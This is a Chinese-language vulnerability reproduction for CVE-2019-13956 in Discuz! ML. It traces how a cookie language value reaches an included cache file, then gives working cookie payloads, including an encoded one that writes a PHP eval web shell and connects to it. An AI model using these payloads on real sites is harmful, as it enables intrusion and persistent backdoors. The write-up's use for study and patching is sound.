Discuz! ML遠程代碼執行(CVE-2019-13956)
一、漏洞描述
該漏洞存在discuz ml(多國語言版)中,cookie中的language可控並且沒有嚴格過濾,導致可以遠程代碼執行。
二、漏洞影響版本
Discuz! ML V3.2
Discuz! ML V3.3
Discuz! ML V3.4
三、漏洞環境搭建
1、 官網下載Discuz! ML V3.4,下載地址: http://discuz.ml/download
2、 將壓縮包解壓到phpstudy網站根目錄,瀏覽器訪問upload目錄開始安裝
3、然后就是一直點擊下一步就可以了,直到完成安裝
四、漏洞復現
1、漏洞存在的位置/upload/source/module/portal/portal_index.php,使用template函數處理’diy:portal/index’,然后使用include_once包含
2、跟進template函數,發現把DISCUZ_LANG函數拼接成為一個緩存文件名,然后又返回了緩存文件名
3、跟進DISCUZ_LANG函數,發現從cookie中取language的值給$lng
4、繼續瀏覽代碼,發現把$lng的值賦給DISCUZ_LANG了
5、到此為止,整個漏洞分析過程已結束,過程如下:
外部參數$lng(即cookie中的language語言)可控,導致DISCUZ_LANG函數獲取$lng,然后拼接成緩存文件並且返回了緩存文件名,導致template函數生成的緩存文件名可控,插入自己的代碼,最終include_once函數包含一下導致了代碼注入(執行了插入惡意代碼的緩存文件名)。
6、測試漏洞,隨便點擊一個頁面,抓包,將Cookie中的xxx_language參數值改為’.phpinfo().’,發現成功執行了代碼
7、查看緩存文件,發現緩存文件名被修改如下
8、getshell
8.1嘗試上傳一個shell,構造payload,如下:
'.file_put_contents('shell.php','<?php eval($_POST[cmd]);?>').'
執行提示錯誤,可能是編碼的原因
8.2、嘗試對payload進行全部編碼,失敗,只有使用如下payload才能成功
%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
8.3、查看是否成功上傳shell.php,發現成功上傳
8.4、菜刀連接
----------------------------------------------------------------------------------------
工具檢測:https://github.com/theLSA/discuz-ml-rce
參考: https://mp.weixin.qq.com/s?__biz=MzU2NDc2NDYwMA==&mid=2247483944&idx=1&sn=ba9f6f99967e31fd56634f714d8ae650&scene=21#wechat_redirect